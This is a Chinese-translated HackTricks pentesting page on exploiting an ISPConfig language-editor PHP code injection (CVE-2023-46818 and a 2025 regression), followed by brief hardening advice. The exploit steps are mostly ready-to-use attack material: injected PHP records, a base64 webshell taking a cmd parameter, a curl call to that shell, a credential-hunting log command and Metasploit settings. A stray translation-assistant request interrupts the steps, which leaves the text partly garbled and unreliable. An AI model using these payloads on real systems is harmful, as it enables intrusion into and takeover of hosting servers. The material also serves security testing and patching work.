ISPConfig

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

概述

ISPConfig is an open-source hosting control panel. 旧的 3.2.x 版本附带了一个语言文件编辑器功能,如果为超级管理员启用,该功能会允许通过格式错误的翻译记录注入任意 PHP 代码。这样可能在 web 服务器上下文中导致 RCE,并且根据 PHP 的执行方式,可能造成权限提升。

关键默认路径:

  • Web 根目录通常位于 /var/www/ispconfig,当使用 php -S 或通过 Apache/nginx 提供服务时。
  • 管理界面可在 HTTP(S) vhost 上访问(有时仅绑定到 localhost;如有需要,使用 SSH 端口转发)。

提示:如果面板绑定在本地(例如 127.0.0.1:8080),请转发它:

ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001

语言编辑器 PHP code injection (CVE-2023-46818)

  • 受影响: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
  • 前提条件:
  • 使用内置超级管理员账号 admin 登录(厂商表示其他角色不受影响)
  • 必须启用语言编辑器: admin_allow_langedit=yes/usr/local/ispconfig/security/security_settings.ini
  • 影响: 已认证的 admin 可以注入任意 PHP,这些代码会被写入语言文件并由应用执行,从而在 web 上下文实现 RCE

References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.

手动利用流程

  1. 打开/创建一个语言文件以获取 CSRF tokens

发送第一次 POST 来初始化表单并从 HTML 响应中解析 CSRF 字段 (csrf_id, csrf_key)。示例请求路径: /admin/language_edit.php.

  1. 通过 records[] 注入 PHP 并保存

提交第二个 POST,包含 CSRF 字段和恶意翻译记录。最小命令执行探针:

POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

带外测试(观察 ICMP):

records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
  1. 写入文件并放置 webshell

使用 file_put_contents 在可被 web 访问的路径下创建文件(例如,admin/):

records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>

然后写一个简单的 webshell,使用 base64 来避免 POST body 中的坏字符:

records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

请把 src/network-services-pentesting/pentesting-web/ispconfig.md 的内容粘贴到这里,或直接提供需要翻译的文本。我会按你给的规则把英文翻译成中文并保留原有的 Markdown/HTML 语法。

curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

如果 PHP 以 root 身份执行(例如由 root 启动的 php -S 127.0.0.1:8080),会直接获得 root RCE。否则,您将获得以 web 服务器用户身份的代码执行。

2025 回归 (ISPConfig 3.3.0 / 3.3.0p1)

语言编辑器漏洞在 3.3.0/3.3.0p1 中重新出现,并在 3.3.0p2 中修复。先决条件保持不变(admin_allow_langedit 和 管理员登录)。同一补丁还修复了一个 monitor XSS 和可被所有用户读取的轮换日志。

注意:

  • 在 3.3.0/3.3.0p1 中,如果启用了调试日志,位于 /usr/local/ispconfig/interface/log/ 下的可被所有用户读取的轮换日志可能会 leak 凭据:
find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
  • 利用步骤与 CVE-2023-46818 相符;3.3.0p2 在语言编辑前增加了额外检查。

Python PoC

一个可直接使用的 exploit 会自动化 token handling 和 payload delivery:

示例运行:

python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>

Metasploit 模块(发布于 2025 年 7 月)

Rapid7 添加了 exploit/linux/http/ispconfig_lang_edit_php_code_injection,如果所提供的 admin 帐户具有 system-config 权限,则可以自动启用 admin_allow_langedit

use exploit/linux/http/ispconfig_lang_edit_php_code_injection
set RHOSTS 10.10.10.50
set RPORT 8080
set USERNAME admin
set PASSWORD <admin_pass>
set TARGETURI /
run

该模块通过 records[] 写入 base64-encoded 的 payload 并执行,得到 PHP Meterpreter 或自定义 payload。

硬化

  • 针对原始问题,升级到 3.2.11p1 或更高;针对 2025 年的回归,升级到 3.3.0p2 或更高。
  • 除非确有必要,否则禁用语言编辑器:
admin_allow_langedit=no
  • 避免以 root 身份运行面板;配置 PHP-FPM 或 Web 服务器以降低权限
  • 为内置的 admin 帐户强制使用强身份验证

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks